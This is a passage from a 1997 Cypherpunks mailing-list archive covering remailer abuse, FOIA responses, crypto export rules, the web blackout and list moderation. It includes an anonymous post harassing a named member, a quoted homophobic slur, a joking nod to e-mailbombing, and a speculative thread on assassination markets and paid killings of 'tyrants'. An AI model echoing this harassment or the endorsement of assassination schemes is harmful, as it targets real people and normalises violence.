avoiding censorship > and retribution as much as possible. This means letting people > call Lee Kwan Yew a fascist, complain that OJ's a space alien, > identify the person Hillary paid to off Vince Foster, > or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True > Religion -- Or post the One Page RSA+RC4 to the China newsgroups. Hey, I agree. I allowed unlimited USENET posting from dustbin back in October. I almost had to shut the whole remailer down and the only reason I didn't was that I was able to hide it as a middleman. That's partly because dickwads were (for example) posting spams about Tim May on cypherpunks, and some people were complaining to my ISP. > On several other hands, though, even if you limit news posting, > trolls can abuse a remailer by sending email to large mailing lists. > It'd certainly never happen to Cypherpunks :-), but some other > mailing lists might attract trolls, and it's not easy to > identify them in advance (though I suppose adding a disclaimer > and cutmarks any time you post to something other than a > known remailer is a partial solution.) I'm working (slowly, as I have time) on some new remailer software which blocks by default and notifies the recipient that he can claim his anonymous mail as soon as he "signs" the usage agreement (magic cookie exchange). -- Andy Dustman / Computational Center for Molecular Structure and Design / UGA You can have my PGP public key by sending mail with subject "send file key". You can have my PGP secret key when you pry it out of my cold, dead neurons. http://charon.chem.uga.edu/~andy mailto:andy at CCMSD.chem.uga.edu <}+++< From stewarts at ix.netcom.com Wed Feb 5 17:40:23 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Wed, 5 Feb 1997 17:40:23 -0800 (PST) Subject: mail-to-news fun Message-ID: <199702060140.RAA08923@toad.com> >> Well, I'd really rather not do that. I already have to deal with >> abuse from nym.alias.net and mix at anon.lcs.mit.edu users. >All that being said, it might not be worth the effort to allow posting, >since you're not actually doing the posting anyway. I've thought about >allowing posting again with a very restrictive newsgroup list >(only alt.anonymous.messages). If I were going to restart a remailer, and to offer news posting, I'd probably limit it to posting to moderated newsgroups only, so a human can trash things that look like SPAM or abuse; the abuse that caused me to kill my remailer wasn't something a simple filter would catch. (I'd also prefix each posting with a header about this message having been received from an anonymous source, not verified, not guaranteed to be worth the electrons it's printed on, probably not written by anybody whose name's at the bottom, etc.... People don't read mail headers or disclaimers at the bottom, and putting disclaimers like that into message text for email exposes the message to traffic analysis.) Alt.anonymous.messages is an interesting alternative, but one of the ideals of posting news from a remailer is to allow people to broadcast politically incorrect speech anonymously, avoiding censorship and retribution as much as possible. This means letting people call Lee Kwan Yew a fascist, complain that OJ's a space alien, identify the person Hillary paid to off Vince Foster, or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True Religion -- Or post the One Page RSA+RC4 to the China newsgroups. On the other hand, I don't want to support postings titled "ALL FAGS MUST DIE" with a forged signature and email at the bottom, and I especially don't want to post that from my remailer without indicating that anything posted by a remailer might be forged. That's why I shut down my previous remailer - the forger only posted one forged message; the person whose name got forged got flamed severely by dozens of people who objected to "her" posts. Blocking the gay newsgroups cuts down on that kind of trolling, but also cuts out the "Help, I might be gay and my parents will kill me" traffic that remailers are supposed to help with. On several other hands, though, even if you limit news posting, trolls can abuse a remailer by sending email to large mailing lists. It'd certainly never happen to Cypherpunks :-), but some other mailing lists might attract trolls, and it's not easy to identify them in advance (though I suppose adding a disclaimer and cutmarks any time you post to something other than a known remailer is a partial solution.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From gbroiles at netbox.com Wed Feb 5 17:40:24 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 5 Feb 1997 17:40:24 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <199702060140.RAA08924@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:22 AM 2/5/97 -0800, Peter Hendrickson wrote: >At 12:40 AM 2/5/1997, Greg Broiles wrote: >> To date, I have received three responses: one from the SF office of the FBI, >> indicating that they have no records responsive to my request; one from the >> NSA, indicating that they are processing my request, and one from the Secret >> Service, asking for a copy of my signature. (I've got no clue why they want >> that; unless I screwed up, I believe my initial request was signed.) > >Have these organizations been known to lie? What penalties does >the organization or its employees face when they do so? Have these >penalties ever been applied? Yes, various law enforcement agencies and intelligence agencies have been willing to lie to the American public (and the world at large) from time to time :) Pragmatically, the only penalty that the organization(s) and individuals face is political, e.g., cuts in funding or loss of employment due to public humiliation/embarrassment. >Also, which exceptions in the FOIA law would allow them to respond >dishonestly? They are allowed to respond that "no records exist" even if records do exist, where: (1) The records relate to an active criminal investigation, the subject of the investigation is unaware of the investigation, and the disclosure of the existence of records would likely disrupt law enforcement activity; (5 USC 552 (c)(1)) (2) The records relate to a confidential informant, and the disclosure of the existence of the records would tend to reveal the identity of the informant (e.g., I suspect Joe Blow is an informant, so I make a FOIA request for information gained from confidential informant Joe Blow; even if I receive only blacked-out pages, the fact that the records exist tells me something about Joe) (5 USC 552 (c)(2)) (3) The records are classified, held by the FBI, and pertain to intelligence, counterintelligence, or international terrorism. (5 USC 552 (c)(3)) They may also withhold information in other circumstances, but are not otherwise allowed to say that "no records exist". (There's something surreal about presuming careful attention to tiny legal details from organizations which perpetrated debacles like COINTELPRO, Waco, Ruby Ridge, perjury/manufacturing evidence in the FBI lab, etc. But sometimes something interesting is released, e.g., .) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvky//37pMWUJFlhAQE5tgf/QstFYJxNcJuRIQjF14a+3luyJgFe8MCp UpMfykNKHmnbq+ChZCsmgXUCt49s0VFQYeMdNH1HWaaOcTtRr3uqNFqmyLBQxSne PboMtzvl0Z6NKcP/DV1BwHxHJZbYVGPoPXDYd7xHvIsU0xRbHVOQgidgMJQmjf4E 4S/T3tovD+e1ahoSCBkZslLs/13pMstmDxz5tPd2mHwsFfLiklSaRUcKmtdkGPTc da3VFFOjYlYB4ps4dkd7Vv6zgl4ZQJLMXZyoBsYrAax4k3eLuheVj/inZIqZFHvO LqJPdCM34QurFXIOQmlo7sQnOvWPgc2ASdctV46lHTSJA6USIhbt9A== =KAj+ -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From rah at shipwright.com Wed Feb 5 17:40:25 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 17:40:25 -0800 (PST) Subject: Remember the Blackout Message-ID: <199702060140.RAA08925@toad.com> --- begin forwarded text Date: Wed, 5 Feb 1997 19:12:47 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: Remember the Blackout X-orig-from: dwiner at well.com (DaveNet email) X-e$pam-source: owner-davenetworld at wired.com Forwarded by Robert Hettinga ----------------------------------------------------------------------- X-Sender: dwiner at mail.well.com Mime-Version: 1.0 Date: Wed, 5 Feb 1997 13:23:02 -0800 To: jonl at microsoft.com (Jon Lazarus), hopmann at holonet.net (Alex Hopmann), anna at LivePicture.com (Anna Godfrey), scotty1024 at aol.com (Scott Turner), 577-7433 at mcimail.com (Bobby Orbach), mwhutch at aol.com (Michael Hutchinson -- AOL Webmaster), rsiegelman at kpcb.com (Russ Siegelman), davenetworld at wired.com, pdeziel at adobe.com (Pam Deziel), siegel at barebones.com (Rich Siegel), slove at netscape.com (Scott Love) From: dwiner at well.com (DaveNet email) Subject: Remember the Blackout Sender: owner-davenetworld at wired.com Precedence: bulk --------------------------------------- Amusing Rants from Dave Winer's Desktop Released on 2/5/97; 1:23:01 PM PST --------------------------------------- A short piece, in the middle of much website work, to remind everyone that Saturday February 8 is the first anniversary of an important event in our new medium -- the web blackout of 1996. It's already history. In some circles it's not fashionable to remember that the United States government attempted to censor free speech on the Internet. I believe it would be cynical to overlook it. We defeated the law, even though we re-elected many of the politicians who tried to outlaw free speech in the name of protecting children. I'm building a website that will go live on Saturday to commemorate the protest, and to serve as a monument to the spirit of free speech. To remind us that this is a worldwide community, and no political system has the power to enforce its standards of decency on the medium. The battle to retain our rights is ongoing. Important organizations such as the Electronic Frontier Foundation and the American Civil Liberties Union deserve and require our support. It's easy to lose sight of the principles that we believe in, to be distracted by questions of corporate survival, of fear or greed. These are interesting issues, no doubt. But this is a creative and expressive medium and to protect its potential, unqualified free speech is essential. I played a small role in the web blackout last year. This year I hope to facilitate, to organize more sites and help to spread the word that free speech is not an option, not something that can be traded or limited and that no compromises are possible. If you run a democracy-related site, large or small, please visit the page before Saturday and register. If you know someone who does, please pass this on. And if you value free speech, please visit the site on Saturday or later. It'll be a fascinating trip thru Internet history, if nothing else! Remember the blackout. Remember why it was necessary. Don't let people use children as an excuse to deprive people of their power to express themselves. Dave Winer ------------------------------------------- News & Updates: -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Java e$ Software Developers in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From nobody at REPLAY.COM Wed Feb 5 17:40:32 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 5 Feb 1997 17:40:32 -0800 (PST) Subject: [CRYPTO] PGP Message-ID: <199702060140.RAB08926@toad.com> Timmy C[reep] May has been beaten up numerous times by fellow prostitutes for driving blow job prices down. (((> /< ( / ((({{{{{:< \ \< From dlv at bwalk.dm.com Wed Feb 5 17:42:06 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 17:42:06 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702060142.RAB08939@toad.com> Marshall Clow writes: > Several people wrote: > >I wrote: > >>ObCrypto policy: > >> Was anyone else besides me amazed by the guy > >>from Deloitte-Touche at the Internet Privacy Coalition luncheon > >>last week? I mean, he all but advocated violent overthrow of > >>the government. [...] > > > >For the benefit of those of us who were not at this luncheon (probably > >not even in the same country), could you please say more about this, > >Marshall? What was the subject? What _did_ the DT speaker say, exactly? > > > After a while, I stopped taking notes, because I was so astounded at > what he was saying. > (Maybe someone with more complete notes could post a better summary) > > But, here a brief overview of the luncheon: > > Last Wednesday, January 29th, the Internet Privacy Coalition had > a "policy lunch" in San Francisco. It was in one of the hotels hosting > the RSA conference, and at the same time that the conference was > breaking for lunch, so it was easy for attendees to "switch lunches". > > The speakers (as I remember, apologies to any I miss) were: > Whit Diffie > John Gilmore > Kenneth Bass (counsel in Karn vs. Dept of State) > Herb Lin (who ran the NRC staff for the crypto study) > Marc Rotenberg > William Hugh Murray (Deloitte & Touche) > and a couple others that I missed, as I left early. > > Mr. Murray gave a long, impassioned speech. > > He said that the government is going to crack down on > domestic possession and use of crypto, that they > were looking to increase their wiretapping capabilities > 100-fold, and so on. > > He was very emphatic about not trusting anything > that the government says, and that once they got > their "foot in the door", that they would seek to > expand their abilities to regulate, etc, etc. > > He advocated deployment of strong crypto. He > insisted that there was no way the government > could stop the export of strong crypto. He exhorted > people to refuse to obey the ITAR/EAR regulations, > and to lobby their congresscritters to get the > PRO-CODE bill passed. > > > It wasn't really what he said that amazed me, because > I had heard most of it (in bits and pieces) before. It > was presenting it all in a package, in an emotional > manner, by an elderly, conseratively dressed > accountant who was representing a large > corporation whose job it is to help people obey the > government. > > [ My father was an accountant. He worked for > Deloitte-Touche, in fact. I don't expect accountants > to be passionate about government regs, and > especially not to advocate disobediance. Maybe > that's why this affected me so strongly. ] > > -- Marshall > > Marshall Clow Aladdin Systems > > Warning: Objects in calendar are closer than they appear. > > I think Bill Murray might take offense at being called an accountant. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From roach_s at alph.swosu.edu Wed Feb 5 17:42:07 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 17:42:07 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702060142.RAA08940@toad.com> At 09:09 PM 2/4/97 -0800, jim bell wrote: >At 08:15 PM 1/28/97 -0800, Steve Schear wrote: >>>The poor can not hope to match the tyrants bid as they only have 10% of the >>>wealth, the household knows that thier participation in an attempt on the >>>tyrant will get them killed. Even if the attempt was successful. >>>The people from the outside who would benefit from the bounty benefit more >>>by taking the tyrants offer and then trying again, i.e. tiger teams. >> >>I think a hole in your thinking is to assume that the assasins have no >>motive other than financial gain. I would submit that there are those that >>have the skills, training and a political agenda coherent with the >>wagerers, lacking only the financial incentive to make the risks >>acceptable. These wetworkers won't consider accepting the bribe of the >>rich/powerful ... > >However, fortunately I don't think it would make any difference in the >overall effects. While AP would eliminate the taxation which is commonly >thought of as the main way a "rich person" loses assets, in practice it >would also shut down the well-hidden systems that allow some people to get >rich (or, merely live off somebody else) "unfairly." Government agents >come to mind, of course. > The money doesn't necessarily come from taxation, the owner of a business takes a cut of whatever money is made even if that person is unproductive. The tyrant would be the owner of the industry. If you are right then governments would effectively lose the ability to tax, with or without representation, as most people do not agree on everything, like how their money is spent. However, even now, as pointed out in some recent posts, our tax money is used to foreward the goals of a few, these few want to eliminate guns, crypto, free speech, ect. Although we are in oppostition, our money is still used to foreward the goals. Not unlike what I heard about the U.S.S.R. in vietnam. The following is according to my source. When the Soviet Ambassitor to the U.N. was sick, thats when the aid to vietnam could begin, as the U.S.S.R was not there to veto it. Now the U.S.S.R. was forced to aid both sides, those that were in agreement with them politically, and the U.N., of which they were a member. End of source data. Even those who oppose the taxes would be forced to pay as it would be the army that would be collecting. Then they could take the remaining monies that they had to target the leaders, who would use the tax revinues to protect themselves. If more money was needed, nore taxes would be collected. If it were a private corporation, the wages of the workers would be reduced on occassion to pay for the different security systems of the owner. Additionally, under our current system, the assassin would have his day in court, perhaps he could escape the government, making the cost-benefit analysis skewed in favor of crime. Under a system as proposed, the assassin would be forced do deal with a more powerful curse. Insurance companies would be reconfigured to anonymously see to the death of whatever caused the death of thier clients. They would make money because if the death could be ruled accidental, they would not have to pay. If the person died of a heart attack, and the food taster didn't, (the food taster would probably be the cooks son by the way), then the bond that the tyrant had with the company would be void. The company would cash the check. If the tyrant wanted to insure h[is/er] survival, (s)he would take out several of these bonds, with different companies, each with a signature amount to give to the executors to check their loyalty. If the company paying 1295065 dollars didn't pay up, the executors would tell the world. The idea is, where a layer can be subverted, duplicate the layer so that at least one element is bound to work. From roach_s at alph.swosu.edu Wed Feb 5 17:43:48 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 17:43:48 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702060143.RAA08990@toad.com> At 12:39 AM 2/5/97 -0800, Bill Stewart wrote: >>>>Here's more on the controlled documents for cellular encryption >>>>from TIA/EIA we described in a 26 January post to cpunks: >... >>>Of course, ITAR as recently modified says it's ok to send this >>>stuff overseas to foreigners, as long as it's on paper. >>>There may be separate restrictions on sending it, or on copying, >>>but they're based on copyright or contractual non-disclosure. >> >>Given that high-density inkjet printers can do 600x600 dpi resolution, it >>should be possible to achieve the equivalent of 100x100 bpi of >>easily-recoverable data on ordinary paper. That's about 800 kilobits, or >>100 kilobytes. What does ITAR say about this? > >These are text, perhaps with occasional illustrations, so the current >interim export rules say it's ok. > >For optically-scannable printed data, the government's announcement says >it reserves (somehow) its right (acquired in unspecified manner :-) >to re-evaluate the exportability at a later time. I think they >haven't settled on whether they'd be more embarassed by banning it >(which bans export of printed material, risking serious Constitutional >challenges) or by not banning it (having people laugh at them while >exporting source code or even binaries in OCR-A on loose-leaf paper >with page numbers and checksums.) ... Let's not tempt them with something that the common person on the street would consider computer media, I.E. punched cards and dataglyphs. Remember the old fonts that used to be everywhere? The ones with the thickened letters at key places? Look at a check some time, that is the type of font at the bottom, its designed to be readable by both man and machine. Print out the source code in one of those fonts and mail that. This is not as data intensive as the other way, but at least it can be argued that it can be read by an unaided person. That way, on the other end, the text can be scanned in directly, using a modified form of check clearing software, and converted into electronic media, sans errors. From rah at shipwright.com Wed Feb 5 17:43:49 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 17:43:49 -0800 (PST) Subject: MA Electronic Records and Signature Act Message-ID: <199702060143.RAA08991@toad.com> --- begin forwarded text Date: Wed, 5 Feb 1997 19:08:30 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: MA Electronic Records and Signature Act X-orig-from: EskWIRED X-e$pam-source: bounce-dcsb at ai.mit.edu Forwarded by Robert Hettinga ----------------------------------------------------------------------- Date: Wed, 5 Feb 1997 17:27:30 -0500 (EST) From: EskWIRED To: dcsb at ai.mit.edu Subject: MA Electronic Records and Signature Act MIME-Version: 1.0 Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: EskWIRED A discussion draft of the MA Electronic Records and Signatures Act is now available on the web at http://www.magnet.state.ma.us/itd/legal/mersa.htm. The draft appears to be very preliminary--entire sections are marked [under development]. It is notable for its brevity, especially compared to the Utah Statute. Noticeably absent is any language dealing with licensure of certification authorities (bravo!). A link is provided for submission of public comments to Ray Campbell and Dan Greenwood. ========================================================= ---------EskWIRED at shore.net------------ ========================================================= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Java e$ Software Developers in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From haystack at holy.cow.net Wed Feb 5 17:46:34 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Wed, 5 Feb 1997 17:46:34 -0800 (PST) Subject: No Subject Message-ID: <199702060127.UAA06517@holy.cow.net> http://www.cnn.com Congressman demonstrates ease of cell phone snooping From jimbell at pacifier.com Wed Feb 5 18:03:51 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 18:03:51 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702060203.SAA05947@mail.pacifier.com> At 04:50 PM 2/5/97 +0100, P.J. Westerhof wrote: >At 18:12 4-02-97 -0800, you wrote: >>Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir >>Crazy." Computer science major, BTW. >> >He is quite a singer too (at least he was some years ago on Dutch TV). >Perhaps that made the difference. ;-) He was on the fourth floor of the west parallel of East Campus, in about 1977 as I recall. I was on the third floor. He was a wrestler; I heard he didn't have to work all that hard, he could just sit on the opponent and he'd win. Jim Bell jimbell at pacifier.com From rah at shipwright.com Wed Feb 5 18:11:16 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 18:11:16 -0800 (PST) Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresotebush In-Reply-To: <199702052256.OAA06322@toad.com> Message-ID: At 4:05 pm -0500 2/5/97, Mark Voorhees wrote: >I'm almost certain that Murray is a consultant rather than >or in addition to an accountant. He's been saying these things >for years at conferences, in papers, on mailing lists, etc. For the longest time, I've had a couple of people from dtus.com on my e$pam feed. They signed on when I started my own list out of www-buyinfo. About 6 months ago, however, mail to them started bouncing out of e$, the chat list I set up as an adjunct to e$pam. Which makes sense, because that's when they stopped chatting about e$. :-). I expect that the same thing happend to e$pam, though Rachel Wilmer, who is my e$pam listmaster would have seen it, and not I. Actually, e$ has become something of a watering hole, now with about twice as many subscribers as e$pam does. Some cypherpunks among them. Oh. While we're all talking about moderation, e$pam is a sort of filtered superset of cypherpunks. I have filtered cypherpunks posts in it, but I also have stuff from the 50-odd mail lists and 70 news groups I follow. The total feed can reach 300k a day sometimes, mostly because I include the full text of stuff like some of John Young's articles, and the text of the occasional web-page which tickles my fancy. Sort of immoderate moderation. :-). You can subscribe to it on my web page, which is in my .sig, below. I've a bunch of people working with me now on e$pam, who, among other things, are in the process of getting it set up in a searchable archive. Though, to prevent crawlers from seeing all the juicy bits (cf. Mr. Young, above), we're probably going to have some kind of certificate-access scheme when we get it all running. Rodney Thayer, who's doing IPSEC stuff, (among other things :-)), is going to run a quick-and-dirty generic certification authority to make that happen. In the meantime, if you're interested in e$, or financial crypto, or other stuff I'm interested ("it don't say e$pam until Bob says it says e$pam" :-)), you might want to check it. Even though cypherpunks is a lot "cleaner" now, and I did encourage Sandy in his efforts initially, I suppose I'm now weighing in with (horrors!) Tim on the subject of moderation. I think that if Sandy and John want to create a moderated list (like I have done, though e$pam is more specific in content) out of what happens on cypherpunks, they could do it with exactly the traffic they have now in experimental moderation mode. The current machine load doesn't seem to be impacting the throughput to cypherpunks(moderated), modulo Sandy's moderation time, though if toad.com's being used for much else, there might be problems there. Part of the nice thing about cypherpunks 1.0 was that anything could happen there. That it was anarchy in practice. And, maybe because of my periodic altercations with Mr. May on this list (thank god for his kill-file :-)) even the anonymous Tim-slams were occasionally entertaining, in a, ahem, biologically curious sort of way. ;-). So, I guess I think we should put it back the way it was. Including, please Mr. Gilmore, "officially' resubscribing the Wee-vil Dr. V. Then those who've made it so can annouce to the world that cypherpunks is again a proper anarchy. Then we can us deal with miscreants the way we used to, by ignoring them, (and the occasional e-mailbomb...). Finally, I have an analogy for cypherpunks from nature. There are lots of plants, some of them the technically the largest living beings on earth, which, at first glance, look like a bunch of different individual plants. Aspen groves, for instance, are all linked together under the soil to the same system of roots, and are genetically the same individual. Some of these "stands" of trees cover tens of square miles, and one patch of Aspens, in Wyoming? Montana? is the world's largest living thing, massing several million(?) tons, and probably tens of thousands of years old. Fungi do this too. Toadstools (a rather, heh, fecund analog for cypherpunks) tend to create very large "individuals", with each toadstool representing the fruiting body for a huge bunch of mycyillia(sp?) underneath it. Toadstools create structures called, ahem, "fairy rings", where the central mushroom dies, only to be replaced by a ring of other mushrooms, which die, and so on, until they're covering your whole fucking lawn and messing up your lawnmower bag... (well, anyway, you get the idea.) There was the claim a few years ago that the same genetic individual slime mold covered half of Wisconsin (Minnesota?). The king of all the plants which do this, I think, is the cresote bush, which, I believe, in some pieces of the Sonorran(sp?) desert, cover hundreds of square miles. Scientists, using tree-ring dating, have worked back, through various rings of cresote bushes, using their very slow growth rates in the desert environment, to the center of the creosote bush cluster, to estimate the date of these things. I remember claims that these plants may have started from a single individual, there at the long dead (or at least regrown-over) center of the ring, more than a hundred, and maybe several hundred thousand years ago. So, let nature take its course. Most lists die when people stop posting to it. That certainly hasn't happened to cypherpunks. And, when it does, we can all migrate out into the numerous rings of lists that cypherpunks has spawned (I think I can account about putting together 10 or so myself) among them. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From jimbell at pacifier.com Wed Feb 5 18:23:43 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 18:23:43 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702060223.SAA08362@mail.pacifier.com> At 05:16 AM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote: >My letter to Long Island Newsday regarding David Kahn's pro-GAK >editorial was published today. You can read it at > > http://www.newsday.com/mainnews/rnmi052u.htm > >What's odd (?) is how they editied it. I directed my comments toward >Mr. Kahn's views, which they changed to "Newsday" (odd, since I've >never seen them print an editorial one way or another on GAK; does >this mean they are taking a stand? -- Kahn is an editor at Newsday). > >I wrote "The greatest flaw in the argument is it's very reason, >'criminals... are increasingly using encryption to conceal their plans >and activities'" which they changed to "It reports...". I never >considered an op-ed piece as "reporting", even if it states a fact. But which "criminals," exactly, are "increasingly using encryption to conceal their plans and activities"? Let's not concede this unless it's really true. It would be far more accurate to say that it's likely that many people who are politically hostile to their government are using encryption in anticipation of persecution by the government, persecution that could easily come in the form of criminal charges. Jim Bell jimbell at pacifier.com From cminter at mipos2.intel.com Wed Feb 5 18:32:26 1997 From: cminter at mipos2.intel.com (Corey Minter) Date: Wed, 5 Feb 1997 18:32:26 -0800 (PST) Subject: mail list / sequence number & signature Message-ID: <199702060230.SAA01281@zws388.sc.intel.com> Have the list maintainers ever considered either or both of the following... (Sorry in advance if this has been brought up sometime in the past.) o adding a digital signature from "owner-cypherpunks at toad.com", so someone can't mass mail the mailing list and make it appear that the message came from toad.com. I just tried to figure out if the id in the header is in any order but I couldn't tell. I have already deleted many messages so some numbers are missing anyway. o adding a sequence number to every message which comes through toad.com, so recipients can easily notice if mail is be accidentially or intentionally filtered by their service provider or any other forces. At the same time, you could add the current numbers for flame vs. non-flame. This would help end all the bandwidth wasted on people speculating about the numbers. say there are X total messages, Y non-flames, and Z flames then the appearance to subscriber (either in the subject or some header field) could be... list type | all non-flame flame ---- | --- --------- ----- non-flame | X (non-flame Y) Y (all X) flame | X (flame Z) Z (all X) -- Of course... these are my opinions, not my employer's. ______________________________________________________________________ Corey Minter | cminter at mipos2.intel.com | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From WlkngOwl at unix.asb.com Wed Feb 5 18:35:47 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Wed, 5 Feb 1997 18:35:47 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702060234.VAA29077@unix.asb.com> Good point: but I've seen a few refs from LEAs about "Drug Dealer X who we can't talk about" or "Child Pornographer Y who we can't talk about" (in lieu of cases being digested by the court system) so I didn't harp on that point. A point I did leave out was that if they already knew these people were criminals and were building cases against them, monitoring them enough to know they used crypto, then do they really need to bother with listening in to the exact message? I wanted to emphasize the phallacy of the sacrifical lamb of rights in the name of the god of security. Also, they mungled the letter enough, so it's better for LI Newsday (which caters to a reading level of the average 12-year-old) submissions to be kept short and sweet. I'm quite surprised that mine is the only letter they printed. Certainly they would have gotten more than one submission on a controversial subject? --Rob On 5 Feb 97 at 18:22, jim bell wrote: > But which "criminals," exactly, are "increasingly using encryption to > conceal their plans and activities"? Let's not concede this unless it's > really true. > > It would be far more accurate to say that it's likely that many people who > are politically hostile to their government are using encryption in > anticipation of persecution by the government, persecution that could easily > come in the form of criminal charges. > > > Jim Bell > jimbell at pacifier.com > > ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From shamrock at netcom.com Wed Feb 5 18:48:27 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 5 Feb 1997 18:48:27 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <3.0.32.19970205184928.006daf54@192.100.81.136> At 12:40 AM 2/5/97 -0800, Greg Broiles wrote: >I'm not sure what I think about the response from the SF FBI branch - it >seems unlikely that they'd never have paid any attention to the list, given >the media coverage in Wired and other places. My attorney used to fly planes with nuclear cargo. Another friend of mine has been visited several times by the FBI. In either case, the FBI claimed upon receiving an FOIA request that they have no record on either person. Does anybody here believe that the USAF would let pilots take off with nukes on board without ever conducting a background investigation (which are handled by the FBI)? I didn't think so. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From bkmarsh at feist.com Wed Feb 5 19:06:10 1997 From: bkmarsh at feist.com (Bruce M.) Date: Wed, 5 Feb 1997 19:06:10 -0800 (PST) Subject: Deloitte-Touche? In-Reply-To: <199702052002.MAA03703@toad.com> Message-ID: On Wed, 5 Feb 1997, Marshall Clow wrote: > Mr. Murray gave a long, impassioned speech. > > He was very emphatic about not trusting anything > that the government says, and that once they got > their "foot in the door", that they would seek to > expand their abilities to regulate, etc, etc. > > He advocated deployment of strong crypto. He > insisted that there was no way the government > could stop the export of strong crypto. He exhorted > people to refuse to obey the ITAR/EAR regulations, > and to lobby their congresscritters to get the > PRO-CODE bill passed. > > It wasn't really what he said that amazed me, because > I had heard most of it (in bits and pieces) before. It > was presenting it all in a package, in an emotional > manner, by an elderly, conseratively dressed > accountant who was representing a large > corporation whose job it is to help people obey the > government. I was in attendance at an ISSA conference earlier this year where Mr. Murray gave the "keynote" speech on Electronic Commerce. While he did strongly advocate the adoption of strong crypto and various methods of security, he never stepped into the more radical mode of encouraging people to break the law. That was a different audience though. As he is also an ex-25 year IBM veteran it amazes me that he would make such a public outcry against govt. regulations (okay, so it's a stereotype). Deloitte & Touche must really have a big stake in the pro-crypto market or else he actually cares a lot. ____________________________________________________ 